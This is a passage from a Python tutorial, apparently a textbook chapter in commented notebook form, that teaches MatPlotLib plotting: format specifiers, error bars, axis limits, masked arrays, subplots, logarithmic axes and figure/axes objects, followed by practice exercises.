contain the $x$-$y$\n# data that are plotted as red circles in the `fig-WavyPulse` figure; the\n# arrays created in line 8 and 9 contain the $x$-$y$ data that are plotted\n# as a blue line.\n#\n# The functions that do the plotting begin on line 12. Let's go through\n# them one by one and see what they do. You will notice in several cases\n# that *keyword arguments* (`kwargs`) are used in several cases. Keyword\n# arguments are *optional* arguments that have the form `kwarg=` *data*,\n# where *data* might be a number, a string, a tuple, or some other form of\n# data.\n#\n# > `figure()`  \n# > creates a blank figure window. If it has no arguments, it creates a\n# > window that is 8 inches wide and 6 inches high by default, although\n# > the size that appears on your computer depends on your screen's\n# > resolution. For most computers, it will be much smaller. You can\n# > create a window whose size differs from the default using the optional\n# > keyword argument `figsize`, as we have done here. If you use\n# > `figsize`, set it equal to a 2-element tuple where the elements are\n# > the width and height, respectively, of the plot. Multiple calls to\n# > `figure()` opens multiple windows: `figure(1)` opens up one window for\n# > plotting, `figure(2)` another, and `figure(3)` yet another.\n# >\n# > `plot(x, y,` *optional arguments* `)`  \n# > graphs the $x$-$y$ data in the arrays `x` and `y`. The third argument\n# > is a format string that specifies the color and the type of line or\n# > symbol that is used to plot the data. The string `'ro'` specifies a\n# > red (`r`) circle (`o`). The string `'b-'` specifies a blue (`b`) solid\n# > line (`-`). The keyword argument `label` is set equal to a string that\n# > labels the data if the `legend` function is called subsequently.\n# >\n# > `xlabel(` *string* `)`  \n# > takes a string argument that specifies the label for the graph's\n# > $x$-axis.\n# >\n# > `ylabel(` *string* `)`  \n# > takes a string argument that specifies the label for the graph's\n# > $y$-axis.\n# >\n# > `legend()`  \n# > makes a legend for the data plotted. Each $x$-$y$ data set is labeled\n# > using the string that was supplied by the `label` keyword in the\n# > `plot` function that graphed the data set. The `loc` keyword argument\n# > specifies the location of the legend.\n# >\n# > `axhline()`  \n# > draws a horizontal line across the width of the plot at `y=0`. The\n# > optional keyword argument `color` is a string that specifies the color\n# > of the line. The default color is black. The optional keyword argument\n# > `zorder` is an integer that specifies which plotting elements are in\n# > front of or behind others. By default, new plotting elements appear\n# > *on top of* previously plotted elements and have a value of\n# > `zorder=0`. By specifying `zorder=-1`, the horizontal line is plotted\n# > *behind* all existing plot elements that have not be assigned an\n# > explicit `zorder` less than -1.\n# >\n# > `axvline()`  \n# > draws a vertical line from the top to the bottom of the plot at `x=0`.\n# > See `axhline()` for explanation of the arguments.\n# >\n# > `savefig(` *string* `)`  \n# > saves the figure to data data file with a name specified by the string\n# > argument. The string argument can also contain path information if you\n# > want to save the file so some place other than the default directory.\n# >\n# > `show()`  \n# > displays the plot on the computer screen. No screen output is produced\n# > before this function is called.\n#\n# single: MatPlotLib functions; figure single: MatPlotLib functions; plot\n# single: MatPlotLib functions; xlabel, ylabel single: MatPlotLib\n# functions; legend single: MatPlotLib functions; ayhline, axhline single:\n# MatPlotLib functions; savefig single: MatPlotLib functions; show\n#\n# To plot the solid blue line, the code uses the `'b-'` format specifier\n# in the `plot` function call. It is important to understand that\n# MatPlotLib draws *straight lines* between data points. Therefore, the\n# curve will appear smooth only if the data in the NumPy arrays are\n# sufficiently dense. If the space between data points is too large, the\n# straight lines the `plot` function draws between data points will be\n# visible. For plotting a typical function, something on the order of\n# 100-200 data points usually produces a smooth curve, depending on just\n# how curvy the function is. On the other hand, only two points are\n# required to draw a smooth straight line.\n#\n# Detailed information about the MatPlotLib plotting functions are\n# available online, starting with the site\n# <http://matplotlib.org/api/pyplot_summary.html>. The main MatPlotLib\n# site is <http://matplotlib.org/>.\n#\n# ### Specifying line and symbol types and colors\n#\n# In the above example, we illustrated how to draw one line type (solid),\n# one symbol type (circle), and two colors (blue and red). There are many\n# more possibilities, which are specified in the tables below. The way it\n# works is to specify a string consisting of one or more plotting format\n# specifiers. There are two types of format specifiers, one for the line\n# or symbol type and another for the color. It does not matter in which\n# order the format specifiers are listed in the string. Examples are given\n# following the two tables. Try them out to make sure you understand how\n# these plotting format specifiers work.\n#\n# single: plots; line and symbol specifiers\n#\n# The first table below shows the characters used to specify the line or\n# symbol type that is used. If a line type is chosen, the lines are drawn\n# between the data points. If a marker type is chosen, the a marker is\n# plotted at each data point.\n#\n# > <table>\n# > <colgroup>\n# > <col style=\"width: 16%\" />\n# > <col style=\"width: 33%\" />\n# > <col style=\"width: 16%\" />\n# > <col style=\"width: 33%\" />\n# > </colgroup>\n# > <thead>\n# > <tr class=\"header\">\n# > <th>character</th>\n# > <th>description</th>\n# > <th>character</th>\n# > <th>description</th>\n# > </tr>\n# > </thead>\n# > <tbody>\n# > <tr class=\"odd\">\n# > <td><code>-</code></td>\n# > <td>solid line style</td>\n# > <td><code>3</code></td>\n# > <td>tri_left marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>--</code></td>\n# > <td>dashed line style</td>\n# > <td><code>4</code></td>\n# > <td>tri_right marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>-.</code></td>\n# > <td>dash-dot line style</td>\n# > <td><code>s</code></td>\n# > <td>square marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>:</code></td>\n# > <td>dotted line style</td>\n# > <td><code>p</code></td>\n# > <td>pentagon marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>.</code></td>\n# > <td>point marker</td>\n# > <td><code>*</code></td>\n# > <td>star marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>,</code></td>\n# > <td>pixel marker</td>\n# > <td><code>h</code></td>\n# > <td>hexagon1 marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>o</code></td>\n# > <td>circle marker</td>\n# > <td><code>H</code></td>\n# > <td>hexagon2 marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>v</code></td>\n# > <td>triangle_down marker</td>\n# > <td><code>+</code></td>\n# > <td>plus marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>^</code></td>\n# > <td>triangle_up marker</td>\n# > <td><code>x</code></td>\n# > <td>x marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>&lt;</code></td>\n# > <td>triangle_left marker</td>\n# > <td><code>D</code></td>\n# > <td>diamond marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>&gt;</code></td>\n# > <td>triangle_right marker</td>\n# > <td><code>d</code></td>\n# > <td>thin_diamond marker</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>1</code></td>\n# > <td>tri_down marker</td>\n# > <td><code>|</code></td>\n# > <td>vline marker</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>2</code></td>\n# > <td>tri_up marker</td>\n# > <td><code>_</code></td>\n# > <td>hline marker</td>\n# > </tr>\n# > </tbody>\n# > </table>\n# >\n# This second table gives the character codes for eight different colors.\n# Many more are possible but the color specification becomes more complex.\n# You can consult the web-based MatPlotLib documentation for further\n# details.\n#\n# > <table style=\"width:33%;\">\n# > <colgroup>\n# > <col style=\"width: 16%\" />\n# > <col style=\"width: 16%\" />\n# > </colgroup>\n# > <thead>\n# > <tr class=\"header\">\n# > <th>character</th>\n# > <th>color</th>\n# > </tr>\n# > </thead>\n# > <tbody>\n# > <tr class=\"odd\">\n# > <td><code>b</code></td>\n# > <td>blue</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>g</code></td>\n# > <td>green</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>r</code></td>\n# > <td>red</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>c</code></td>\n# > <td>cyan</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>m</code></td>\n# > <td>magenta</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>y</code></td>\n# > <td>yellow</td>\n# > </tr>\n# > <tr class=\"odd\">\n# > <td><code>k</code></td>\n# > <td>black</td>\n# > </tr>\n# > <tr class=\"even\">\n# > <td><code>w</code></td>\n# > <td>white</td>\n# > </tr>\n# > </tbody>\n# > </table>\n# >\n# Here are some examples of how these format specifiers can be used:\n#\n# ``` python\n# plot(x, y, 'ro')    # plots red circles\n# plot(x, y, 'ks-')   # plot black squares connected by black lines\n# plot(x, y, 'g^')    # plots green triangles that point up\n#\n# plot(x, y, 'k-')    # plots a black line between the points\n# plot(x, y, 'ms')    # plots magenta squares \n# ```\n#\n# You can also make two calls sequentially for added versatility. For\n# example, by sequentially calling the last two plot calls, the plot\n# produces magenta squares on top of black lines connecting the data\n# points.\n#\n# These format specifiers give rudimentary control of the plotting symbols\n# and lines. MatPlotLib provides much more precise and detailed control of\n# the plotting symbol size, line types, and colors using optional keyword\n# arguments instead of the plotting format strings introduced above. For\n# example, the following command creates a plot of large yellow diamond\n# symbols with blue edges connected by a green dashed line:\n#\n# ``` python\n# plt.plot(x, y, color='green', linestyle='dashed', marker='d', \n#      markerfacecolor='yellow', markersize=12, \n#      markeredgecolor='blue')\n# ```\n#\n# Try it out! The online MatPlotLib documentation provides all the\n# plotting format keyword arguments and their possible values.\n#\n# ### Error bars\n#\n# single: plots; error bars\n#\n# When plotting experimental data it is customary to include error bars\n# that indicate graphically the degree of uncertainty that exists in the\n# measurement of each data point. The MatPlotLib function `errorbar` plots\n# data with error bars attached. It can be used in a way that either\n# replaces or augments the `plot` function. Both vertical and horizontal\n# error bars can be displayed. The figure below illustrates the use of\n# error bars.\n#\n# <figure>\n# <img src=\"attachment:ExpDecay.png\" class=\"align-center\" alt=\"\" /><figcaption>Error Bars</figcaption>\n# </figure>\n#\n# When error bars are desired, you typically replace the `plot` function\n# with the `errorbar` function. The first two arguments of the `errorbar`\n# function are the `x` and `y` arrays to be plotted, just as for the\n# `plot` function. The keyword `fmt` *must be used* to specify the format\n# of the points to be plotted; the format specifiers are the same as for\n# `plot`. The keywords `xerr` and `yerr` are used to specify the $x$ and\n# $y$ error bars. Setting one or both of them to a constant specifies one\n# size for all the error bars. Alternatively, setting one or both of them\n# equal to an array that has the same length as the `x` and `y` arrays\n# allows you to give each data point an error bar with a different value.\n# If you only want $y$ error bars, then you should only specify the `yerr`\n# keyword and omit the `xerr` keyword. The color of the error bars is set\n# with the keyword `ecolor`.\n#\n# The code and plot below illustrates how to make error bars and was used\n# to make the above plot. Lines 14 and 15 contain the call to the\n# `errorbar` function. The $x$ error bars are all set to a constant value\n# of 0.75, meaning that the error bars extend 0.75 to the left and 0.75 to\n# the right of each data point. The $y$ error bars are set equal to an\n# array, which was read in from the data file containing the data to be\n# plotted, so each data point has a different $y$ error bar. By the way,\n# leaving out the `xerr` keyword argument in the `errorbar` function call\n# below would mean that only the $y$ error bars would be plotted.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# # read data from file\n# xdata, ydata, yerror = np.loadtxt('expDecayData.txt', unpack=True)\n#\n# # create theoretical fitting curve\n# x = np.linspace(0, 45, 128)\n# y = 1.1+ 3.0*x*np.exp(-(x/10.0)**2)\n#\n# # create plot\n# plt.figure(1, figsize = (6,4) )\n# plt.plot(x, y, 'b-', label=\"theory\")\n# plt.errorbar(xdata, ydata, fmt='ro', label=\"data\", \n#              xerr=0.75, yerr=yerror, ecolor='black')\n# plt.xlabel('x')\n# plt.ylabel('transverse displacement')\n# plt.legend(loc='upper right')\n#\n# # save plot to file\n# plt.savefig('ExpDecay.pdf')\n#\n# # display plot on screen\n# plt.show()\n# ```\n#\n# We have more to say about the `errorbar` function in the sections on\n# logarithmic plots. But the brief introduction given here should suffice\n# for making most plots not involving logarithmic axes.\n#\n# ### Setting plotting limits and excluding data\n#\n# It turns out that you often want to restrict the range of numerical\n# values over which you plot data or functions. In these cases you may\n# need to manually specify the plotting window or, alternatively, you may\n# wish to exclude data points that are outside some set of limits. Here we\n# demonstrate methods for doing this.\n#\n# #### Setting plotting limits\n#\n# single: plots; setting axis limits\n#\n# Suppose you want to plot the tangent function over the interval from 0\n# to 10. The following script offers an straightforward first attempt.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# theta = np.arange(0.01, 10., 0.04)\n# ytan = np.tan(theta)\n#\n# plt.figure()\n# plt.plot(theta, ytan)\n# plt.show()\n# ```\n#\n# <figure>\n# <img src=\"attachment:plotLimits1.png\" class=\"align-center\" alt=\"\" />\n# </figure>\n#\n# The resulting plot, shown above, doesn't quite look like what you might\n# have expected for $\\tan\\theta$ *vs* $\\theta$. The problem is that\n# $\\tan\\theta$ diverges at $\\theta = \\pi/2, 3\\pi/2, 5\\pi/2, ...$, which\n# leads to large spikes in the plots as values in the `theta` array come\n# near those values. Of course, we don't want the plot to extend all the\n# way out to $\\pm\\infty$ in the $y$ direction, nor can it. Instead, we\n# would like the plot to extend far enough that we get the idea of what is\n# going on as $y\\rightarrow\\pm\\infty$, but we would still like to see the\n# behavior of the graph near $y=0$. We can restrict the range of `ytan`\n# values that are plotted using the MatPlotLib function `ylim`, as we\n# demonstrate in the script below.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# theta = np.arange(0.01, 10., 0.04)\n# ytan = np.tan(theta)\n#\n# plt.figure()\n# plt.plot(theta, ytan)\n# plt.ylim(-8, 8)         # restricts range of y axis from -8 to +8\n# plt.axhline(color=\"gray\", zorder=-1)\n#\n# plt.show()\n# ```\n#\n# The figure produced by this script is shown below. The plot now looks\n# much more like the familiar $\\tan\\theta$ function we know. We have also\n# include a call to the `axline` function to create an $x$ axis.\n#\n# <figure>\n# <img src=\"attachment:plotLimits2.png\" class=\"align-center\" alt=\"\" /><figcaption>Tangent function (with spurious lines)</figcaption>\n# </figure>\n#\n# The vertical blue lines at $\\theta = \\pi/2, 3\\pi/2, 5\\pi/2$ should not\n# appear in a plot of $\\tan\\theta$ *vs* $\\theta$. However, they do appear\n# because the `plot` function simply draws lines between the data points\n# in the `x`-`y` arrays provided in its arguments. Thus, `plot` draws a\n# line between the very large positive and negative `ytan` values\n# corresponding to the `theta` values on either side of $\\pi/2$ where\n# $\\tan\\theta$ diverges to $\\pm\\infty$. It would be nice to exclude that\n# line.\n#\n# #### Masked arrays\n#\n# single: plots; masked arrays single: masked arrays\n#\n# We can exclude the data points near $\\theta = \\pi/2, 3\\pi/2, 5\\pi/2$ in\n# the above plot, and thus avoid drawing the nearly vertical lines at\n# those points, using NumPy's *masked array* feature. The code below shows\n# how this is done and produces the graph below. The masked array feature\n# is implemented in line 6 with a call to NumPy's `masked_where` function\n# in the sub-module `ma` (masked array). Therefore, it is called by\n# writing `np.ma.masked_where`. The `masked_where` function works as\n# follows. The first argument sets the condition for masking elements of\n# the array, which is specified by the second argument. In this case, the\n# function says to mask all elements of the array `ytan` (the second\n# argument) where the absolute value of `ytan` is greater than 20. The\n# result is set equal to `ytanM`. When `ytanM` is plotted, MatPlotLib's\n# `plot` function omits all masked points from the plot. You can think of\n# it as the `plot` function lifting the pen that is drawing the line in\n# the plot when it comes to the masked points in the array `ytanM`.\n#\n# <figure>\n# <img src=\"attachment:plotLimits3.png\" class=\"align-center\" alt=\"\" /><figcaption>Tangent function</figcaption>\n# </figure>\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# theta = np.arange(0.01, 10., 0.04)\n# ytan = np.tan(theta)\n# ytanM = np.ma.masked_where(np.abs(ytan)>20., ytan)\n#\n# plt.figure()\n# plt.plot(theta, ytanM)\n# plt.ylim(-8, 8)\n# plt.axhline(color=\"gray\", zorder=-1)\n#\n# plt.show()\n# ```\n#\n# ### Subplots\n#\n# single: plots; subplots\n#\n# Often you want to create two or more graphs and place them next to one\n# another, generally because they are related to each other in some way.\n# The plot below shows an example of such a plot. In the top graph,\n# $\\tan\\theta$ and $\\sqrt{(8/\\theta)^2-1}$ *vs* $\\theta$ are plotted. The\n# two curves cross each other at the points where\n# $\\tan\\theta=\\sqrt{(8/\\theta)^2-1}$. In the bottom $\\cot\\theta$ and\n# $-\\sqrt{(8/\\theta)^2-1}$ *vs* $\\theta$ are plotted. These two curves\n# cross each other at the points where\n# $\\cot\\theta=-\\sqrt{(8/\\theta)^2-1}$.\n#\n# <figure>\n# <img src=\"attachment:subplotDemo.png\" class=\"align-center\" alt=\"\" /><figcaption>Crossing functions</figcaption>\n# </figure>\n#\n# The code that produces this plot is provided below.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# theta = np.arange(0.01, 8., 0.04)\n# y = np.sqrt((8./theta)**2-1.)\n# ytan = np.tan(theta)\n# ytan = np.ma.masked_where(np.abs(ytan)>20., ytan)\n# ycot = 1./np.tan(theta)\n# ycot = np.ma.masked_where(np.abs(ycot)>20., ycot)\n#\n# plt.figure(1)\n#\n# plt.subplot(2, 1, 1)\n# plt.plot(theta, y)\n# plt.plot(theta, ytan)\n# plt.ylim(-8, 8)\n# plt.axhline(color=\"gray\", zorder=-1)\n# plt.axvline(x=np.pi/2., color=\"gray\", linestyle='--', zorder=-1)\n# plt.axvline(x=3.*np.pi/2., color=\"gray\", linestyle='--', zorder=-1)\n# plt.axvline(x=5.*np.pi/2., color=\"gray\", linestyle='--', zorder=-1)\n# plt.xlabel(\"theta\")\n# plt.ylabel(\"tan(theta)\")\n#\n# plt.subplot(2, 1, 2)\n# plt.plot(theta, -y)\n# plt.plot(theta, ycot)\n# plt.ylim(-8, 8)\n# plt.axhline(color=\"gray\", zorder=-1)\n# plt.axvline(x=np.pi, color=\"gray\", linestyle='--', zorder=-1)\n# plt.axvline(x=2.*np.pi, color=\"gray\", linestyle='--', zorder=-1)\n# plt.xlabel(\"theta\")\n# plt.ylabel(\"cot(theta)\")\n#\n# plt.show()\n# ```\n#\n# The function `subplot`, called on lines 13 and 24, creates the two\n# subplots in the above figure. `subplot` has three arguments. The first\n# specifies the number of rows that the figure space is to be divided\n# into; on line 13, it's two. The second specifies the number of columns\n# that the figure space is to be divided into; on line 13, it's one. The\n# third argument specifies which rectangle the will contain the plot\n# specified by the following function calls. Line 13 specifies that the\n# plotting commands that follow will be act on the first box. Line 24\n# specifies that the plotting commands that follow will be act on the\n# second box.\n#\n# We have also labeled the axes and included dashed vertical lines at the\n# values of $\\theta$ where $\\tan\\theta$ and $\\cot\\theta$ diverge.\n#\n# Logarithmic plots\n# -----------------\n#\n# single: plots; logarithmic axes\n#\n# Data sets can span many orders of magnitude from fractional quantities\n# much smaller than unity to values much larger than unity. In such cases\n# it is often useful to plot the data on logarithmic axes.\n#\n# ### Semi-log plots\n#\n# single: plots; semi-log\n#\n# For data sets that vary exponentially in the independent variable, it is\n# often useful to use one or more logarithmic axes. Radioactive decay of\n# unstable nuclei, for example, exhibits an exponential decrease in the\n# number of particles emitted from the nuclei as a function of time. In\n# the plot below, for example, we show the decay of the radioactive\n# isotope Phosphorus-32 over a period of 6 months, where the radioactivity\n# is measured once each week. Starting at a decay rate of nearly $10^4$\n# electrons (counts) per second, the decay rate diminishes to only about 1\n# count per second after about 6 months or 180 days. If we plot counts per\n# second as a function of time on a normal plot, as we have done in the\n# plot on the left below, then the count rate is indistinguishable from\n# zero after about 100 days. On the other hand, if we use a logarithmic\n# axis for the count rate, as we have done in the plot on the right below,\n# then we can follow the count rate well past 100 days and can readily\n# distinguish it from zero. Moreover, if the data vary exponentially in\n# time, then the data will fall along a straight line, as they do for the\n# case of radioactive decay.\n#\n# <figure>\n# <img src=\"attachment:semilogDemo.png\" class=\"align-center\" alt=\"\" /><figcaption>Semi-log plotting</figcaption>\n# </figure>\n#\n# MatPlotLib provides two functions for making semi-logarithmic plots,\n# `semilogx` and `semilogy`, for creating plots with logarithmic $x$ and\n# $y$ axes, with linear $y$ and $x$ axes, respectively. We illustrate\n# their use in the program below, which made the above plots.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# # read data from file\n# time, counts, unc = np.loadtxt('SemilogDemo.txt', unpack=True)\n#\n# # create theoretical fitting curve\n# tau = 20.2      # Phosphorus-32 half life = 14 days; tau = t_half/ln(2)\n# N0 = 8200.       # Initial count rate (per second)\n# t = np.linspace(0, 180, 128)\n# N = N0 * np.exp(-t/tau)\n#\n# # create plot\n# plt.figure(1, figsize = (10,4) )\n#\n# plt.subplot(1, 2, 1)\n# plt.plot(t, N, 'b-', label=\"theory\")\n# plt.plot(time, counts, 'ro', label=\"data\")\n# plt.xlabel('time (days)')\n# plt.ylabel('counts per second')\n# plt.legend(loc='upper right')\n#\n# plt.subplot(1, 2, 2)\n# plt.semilogy(t, N, 'b-', label=\"theory\")\n# plt.semilogy(time, counts, 'ro', label=\"data\")\n# plt.xlabel('time (days)')\n# plt.ylabel('counts per second')\n# plt.legend(loc='upper right')\n#\n# plt.tight_layout()\n#\n# # display plot on screen\n# plt.show()\n# ```\n#\n# The `semilogx` and `semilogy` functions work the same way as the `plot`\n# function. You just use one or the other depending on which axis you want\n# to be logarithmic.\n#\n# #### The `tight_layout()` function\n#\n# single: MatPlotLib functions; tight\\_layout\n#\n# You may have noticed the `tight_layout()` function, called without\n# arguments on line 30 of the program. This is a convenience function that\n# adjusts the sizes of the plots to make room for the axes labels. If it\n# is not called, the $y$-axis label of the right plot runs into the left\n# plot. The `tight_layout()` function can also be useful in graphics\n# windows with only one plot sometimes.\n#\n# ### Log-log plots\n#\n# single: plots; log-log\n#\n# MatPlotLib can also make log-log or double-logarithmic plots using the\n# function `loglog`. It is useful when both the $x$ and $y$ data span many\n# orders of magnitude. Data that are described by a power law $y=Ax^b$,\n# where $A$ and $b$ are constants, appear as straight lines when plotted\n# on a log-log plot. Again, the `loglog` function works just like the\n# `plot` function but with logarithmic axes.\n#\n# More advanced graphical output\n# ------------------------------\n#\n# The plotting methods introduced in the previous sections are perfectly\n# adequate for basic plotting and are therefore recommended for simple\n# graphical output. Here, we introduce an alternative syntax that\n# harnesses the full power of MatPlotLib. It gives the user more options\n# and greater control. Perhaps the most efficient way to learn this\n# alternative syntax is to look at an example. The figure below\n# illustrating `MultPlotDemo` is produced by the following code:\n#\n# <figure>\n# <img src=\"attachment:MultPlotDemo.png\" class=\"align-center\" width=\"320\" alt=\"\" /><figcaption>Mulitple plots in the same window</figcaption>\n# </figure>\n#\n#     # Demonstrates the following:\n#     #     plotting logarithmic axes\n#     #     user-defined functions\n#     #     \"where\" function, NumPy array conditional\n#\n#     import numpy as np\n#     import matplotlib.pyplot as plt\n#\n#     # Define the sinc function, with output for x=0 defined\n#     # as a special case to avoid division by zero. The code\n#     # below defining the sinc function is developed and\n#     # explained in Chapter 7, Section 1.\n#     def s(x):\n#       a = np.where(x==0., 1., np.sin(x)/x)\n#       return a\n#\n#     # create arrays for plotting\n#     x = np.arange(0., 10., 0.1)\n#     y = np.exp(x)\n#\n#     t = np.linspace(-10., 10., 100)\n#     z = s(t)\n#\n#     # create a figure window\n#     fig = plt.figure(1, figsize=(9,8))\n#\n#     # subplot: linear plot of exponential\n#     ax1 = fig.add_subplot(2,2,1)\n#     ax1.plot(x, y)\n#     ax1.set_xlabel('time (ms)')\n#     ax1.set_ylabel('distance (mm)')\n#     ax1.set_title('exponential')\n#\n#     # subplot: semi-log plot of exponential\n#     ax2 = fig.add_subplot(2,2,2)\n#     ax2.plot(x, y)\n#     ax2.set_yscale('log')\n#     ax2.set_xlabel('time (ms)')\n#     ax2.set_ylabel('distance (mm)')\n#     ax2.set_title('exponential')\n#\n#     # subplot: wide subplot of sinc function\n#     ax3 = fig.add_subplot(2,1,2)\n#     ax3.plot(t, z, 'r')\n#     ax3.axhline(color='gray')\n#     ax3.axvline(color='gray')\n#     ax3.set_xlabel('angle (deg)')\n#     ax3.set_ylabel('electric field')\n#     ax3.set_title('sinc function')\n#\n#     # Adjusts white space to avoid collisions between subplots\n#     fig.tight_layout()\n#     plt.show()\n#\n# After defining several arrays for plotting, the above program opens a\n# figure window in line 23 with the statement :\n#\n#     fig = plt.figure(figsize=(9,8))\n#\n# The MatPlotLib statement above creates a **Figure** object, assigns it\n# the name `fig`, and opens a blank figure window. Thus, just as we give\n# lists, arrays, and numbers variable names (*e.g.* `a = [1, 2, 5, 7]`,\n# `dd = np.array([2.3, 5.1, 3.9])`, or `st = 4.3`), we can give a figure\n# object and the window in creates a name: here it is `fig`. In fact we\n# can use the `figure` function to open up multiple figure objects with\n# different figure windows. The statements :\n#\n#     fig1 = plt.figure()\n#     fig2 = plt.figure()\n#\n# open up two separate windows, one named `fig1` and the other `fig2`. We\n# can then use the names `fig1` and `fig2` to plot things in either\n# window. The `figure` function need not take any arguments if you are\n# satisfied with the default settings such as the figure size and the\n# background color. On the other hane, by supplying one or more keyword\n# arguments, you can customize the figure size, the background color, and\n# a few other properties. For example, in the program listing (line 23),\n# the keyword argument `figsize` sets the width and height of the figure\n# window; the default size is `(8, 6)`; in our program we set it to\n# `(9, 8)`, which is a bit wider and higher than the default size. In the\n# example above, we also choose to open only a single window, hence the\n# single `figure` call.\n#\n# The `fig.add_subplot(2,2,1)` in line 30 is a MatPlotLib function that\n# divides the figure window into 2 rows (the first argument) and 2 columns\n# (the second argument). The third argument creates a subplot in the first\n# of the 4 subregions (*i.e.* of the 2 rows $\\times$ 2 columns) created by\n# the `fig.add_subplot(2,2,1)` call. To see how this works, type the\n# following code into a Python module and run it:\n#\n#     import numpy as np\n#     import matplotlib.pyplot as plt\n#\n#     fig = plt.figure(figsize=(9,8))\n#     ax1 = fig.add_subplot(2,2,1)\n#\n#     plt.show()\n#\n# You should get a figure window with axes drawn in the upper left\n# quadrant. The `fig.` prefix used with the `add_subplot(2,2,1)` function\n# directs Python to draw these axes in the figure window named `fig`. If\n# we had opened two figure windows, changing the prefix to correspond to\n# the name of one or the other of the figure windows would direct the axes\n# to be drawn in the appropriate window. Writing\n# `ax1 = fig.add_subplot(2,2,1)` assigns the name ax1 to the axes in the\n# upper left quadrant of the figure window.\n#\n# The `ax1.plot(x, y)` in line 27 directs Python to plot the\n# previously-defined `x` and `y` arrays onto the axes named `ax1`. The\n# `ax2 = fig.add_subplot(2,2,2)` draws axes in the second, or upper right,\n# quadrant of the figure window. The `ax3 = fig.add_subplot(2,1,2)`\n# divides the figure window into 2 rows (first argument) and 1 column\n# (second argument), creates axes in the second or these two sections, and\n# assigns those axes (*i.e.* that subplot) the name `ax3`. That is, it\n# divides the figure window into 2 halves, top and bottom, and then draws\n# axes in the half number 2 (the third argument), or lower half of the\n# figure window.\n#\n# You may have noticed in above code that some of the function calls are a\n# bit different from those used before: `xlabel(\u2019time (ms)\u2019)` becomes\n# `set_xlabel(\u2019time (ms)\u2019)`, `title(\u2019exponential\u2019)` becomes\n# `set_title(\u2019exponential\u2019)`, *etc.*\n#\n# The call `ax2.set_yscale('log')` sets the $y$-axes in the second plot to\n# be logarithmic, thus creating a semi-log plot. Creating properly-labeled\n# logarthmic axes like this is more straightforward with the advanced\n# syntax illustrated in the above example.\n#\n# Using the prefixes `ax1`, `ax2`, or `ax3`, direct graphical instructions\n# to their respective subplots. By creating and specifying names for the\n# different figure windows and subplots within them, you access the\n# different plot windows more efficiently. For example, the following code\n# makes four identical subplots in a single figure window using a `for`\n# loop.\n#\n# ``` ipython\n# In [1]: fig = figure()\n#\n# In [2]: ax1 = fig.add_subplot(221)\n#\n# In [3]: ax2 = fig.add_subplot(222)\n#\n# In [4]: ax3 = fig.add_subplot(223)\n#\n# In [5]: ax4 = fig.add_subplot(224)\n#\n# In [6]: for ax in [ax1, ax2, ax3, ax4]:\n#    ...:     ax.plot([3,5,8],[6,3,1])\n#\n# In [7]: show()\n# ```\n#\n# Exercises\n# ---------\n#\n# 1.  Plot the function $y=3x^2$ for $-1 \\le x \\le 3$ as a continuous\n#     line. Include enough points so that the curve you plot appears\n#     smooth. Label the axes $x$ and $y$.\n#\n# 2.  Plot the following function for $-15 \\le x \\le 15$:\n#\n#     $$y = \\frac{\\cos x}{1+\\frac{1}{5}x^2}$$\n#\n#     Include enough points so that the curve you plot appears smooth.\n#     Label the axes $x$ and $y$.\n#\n# 3.  Plot the functions $\\sin x$ and $\\cos x$ *vs* $x$ on the same plot\n#     with $x$ going from $-\\pi$ to $\\pi$. Make sure the limits of\n#     $x$-axis do not extend beyond the limits of the data. Plot $\\sin x$\n#     in the color green and $\\cos x$ in the color black and include a\n#     legend to label the two curves. Place the legend within the plot,\n#     but such that it does not cover either of the sine or cosine traces.\n#\n# 4.  Create a data file with the data shown below.\n#\n#     1.  Read the data into Python program and plot $t$ *vs* $y$ using\n#         circles for data points with error bars. Use the data in the\n#         `dy` column as the error estimates for the $y$ data. Label the\n#         horizontal and vertical axes \"time (s)\" and \"position (cm)\".\n#\n#     2.  On the same graph, plot the function below as a smooth line.\n#         Make the line pass *behind* the data points.\n#\n#         $$y(t) = \\left[3 + \n#                \\frac{1}{2}\\sin\\frac{\\pi t}{5}\\right]\n#                t\\, e^{-t/10}$$\n#\n#             Data for Exercise 4\n#             Date: 16-Aug-2013\n#             Data taken by Lauren and John\n#\n#              t      d       dy\n#              1.0    2.94    0.7\n#              4.5    8.29    1.2\n#              8.0    9.36    1.2\n#             11.5   11.60    1.4\n#             15.0    9.32    1.3\n#             18.5    7.75    1.1\n#             22.0    8.06    1.2\n#             25.5    5.60    1.0\n#             29.0    4.50    0.8\n#             32.5    4.01    0.8\n#             36.0    2.62    0.7\n#             39.5    1.70    0.6\n#             43.0    2.03    0.6\n#\n# 5.  Use MatPlotLib's function `hist` along with NumPy's function's\n#     `random.rand` and `random.randn` to create the histogram graphs\n#     shown in Fig. `fig-randhistos`\n#\n# 6.  Plot force *vs* distance with error bars using the following data:\n#\n#         d=np.array([0.38, 0.64, 0.91, 1.26, 1.41, 1.66, 1.90, 2.18])\n#         f=np.array([1.4, 1.65, 3.0, 3.95, 4.3, 5.20, 6.85, 7.4])\n#         df=np.array([ 0.4, 0.5, 0.4, 0.5, 0.6, 0.5, 0.5, 0.4])\n#\n#     Your 